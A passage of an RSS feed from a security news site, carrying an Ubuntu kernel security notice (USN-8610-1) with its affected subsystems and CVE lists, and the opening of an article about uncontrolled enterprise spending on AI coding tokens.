CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8610-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:33 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206,
CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218,
CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227,
CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380,
CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873,
CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915,
CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924,
CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946,
CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978,
CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004,
CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018,
CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062,
CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172,
CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249,
CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267,
CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328,
CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921,
CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003,
CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047,
CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071,
CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130,
CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309,
CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033,
CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125,
CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168,
CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



